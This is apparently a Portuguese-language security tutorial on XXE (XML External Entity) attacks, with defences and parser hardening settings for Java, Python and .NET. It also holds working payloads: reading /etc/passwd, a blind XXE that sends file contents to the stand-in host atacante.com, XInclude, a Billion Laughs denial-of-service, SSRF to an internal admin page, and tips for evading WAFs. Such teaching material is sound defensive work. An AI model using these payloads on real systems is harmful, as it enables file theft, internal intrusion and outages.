XXE - External XML Entity
O que é um ataque XXE?
O ataque XXE (XML External Entity) é uma vulnerabilidade de segurança que afeta aplicativos que processam dados XML de forma insegura. Ele ocorre quando um parser XML (analisador de XML) permite a definição e o uso de entidades externas, o que pode ser explorado por um atacante para obter acesso não autorizado a arquivos internos, realizar varreduras internas de rede, ou mesmo executar comandos de forma remota.
O que são XML Entities?
XML (eXtensible Markup Language) permite a definição de entities para reutilizar texto ou referenciar recursos externos. As external entities são entidades que podem carregar dados de arquivos ou URLs.
Como são feitos os ataques de XXE?
O ataque de XXE pode ser explorado de várias maneiras, dependendo de como o analisador XML do aplicativo é configurado e como a resposta é renderizado no lado do cliente. Alguns dos vetores desta exploração incluem a saída dos aplicativos, avaliação de backend e interação externa
Exemplo de entity interna:
<!ENTITY exemplo "Texto reutilizável">
<root>
&exemplo;
</root>
Exemplo de entity externa:
<!DOCTYPE root [
<!ENTITY external SYSTEM "file:///etc/passwd">
]>
<root>
&external;
</root>
Possível retorno:
<root>
root:!:0:0::/:/usr/bin/ksh
daemon:!:1:1::/etc:
bin:!:2:2::/bin:
sys:!:3:3::/usr/sys:
adm:!:4:4::/var/adm:
...
guest:!:100:100::/home/guest:
user:/var/spool/uucppublic:/usr/sbin/uip
testuser:!:201:1::/home/testuser:/usr/bin/ksh
jdoe:*:202:1:John Doe:/home/jdoe:/usr/bin/ksh
</root>
Usando nomes de arquivos comuns, o invasor pode colocar as mãos em outras informações confidenciais do servidor.
Vetores/Superfície de Ataque
XXE ocorre quando um parser XML mal configurado processa entidades externas. Os principais vetores incluem:
Upload de arquivos XML maliciosos
Integrações de Web Services (SOAP, REST que aceitam XML)
APIs que processam XML de forma insegura
Injeção via cabeçalhos HTTP se o servidor aceitar XML
Tipos de XXE
1 Retorno de Arquivo
O atacante recupera arquivos sensíveis do sistema.
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
&xxe;
</root>
Impacto: Exposição de credenciais e informações sensíveis.
2️ Blind XXE
A resposta não retorna diretamente o conteúdo, mas pode ser enviada para um servidor externo.
<!DOCTYPE foo [
<!ENTITY % ext SYSTEM "file:///etc/passwd">
<!ENTITY % send SYSTEM "http://atacante.com/?data=%ext;">
]>
<root>&send;</root>
Impacto: Exfiltração silenciosa de informação.
3️ XInclude Attack
Algumas aplicações bloqueiam entidades externas, mas permitem XInclude.
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
Impacto: Similar ao XXE, usado como alternativa caso entidades externas estejam desativadas.
4 DoS - Ataque Billion Laughs
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<root>&lol3;</root>
Impacto: Pode travar o servidor com uso intensivo de CPU/memória.
5 SSRF com XXE
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://localhost:8080/admin">
]>
<root>&xxe;</root>
Impacto: Acesso indevido a serviços internos via requisições do servidor.
Ofuscação de Payloads
Alguns WAFs e parsers bloqueiam , mas é possível contornar com:
Codificação hexadecimal ou base64
Uso de CDATA
Divisão de entidades em múltiplas linhas
Encadeamento de entidades internas
Casos Reais
CVE-2017-12629 – Apache Solr XXE levando a RCE
CVE-2017-10271 – Oracle WebLogic com XXE + RCE
CVE-2013-1664 – Ruby on Rails vulnerável a XXE
Mitigação/Prevenção
Como verificar se o servidor está vulnerável?
Testar com um XML malicioso e verificar a resposta
Analisar configurações do parser XML usado
Usar ferramentas como Burp Collaborator para exfiltração de dados (Blind XXE)
Boas práticas de prevenção
Desativar entidades externas no parser XML.
Usar bibliotecas seguras: Algumas versões modernas bloqueiam XXE por padrão.
Validar input: Não confiar em XML externo.
Configuração segura para parsers:
Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
Python (lxml):
parser = etree.XMLParser(resolve_entities=False)
.NET:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
🛠️ Ferramentas para Testes
Burp Suite (Scanner de XXE)
XXEinjector (Automatiza testes de XXE)
Nmap (Scripts NSE para detectar XXE)
SecLists (Lista de payloads de XXE)
Atualizado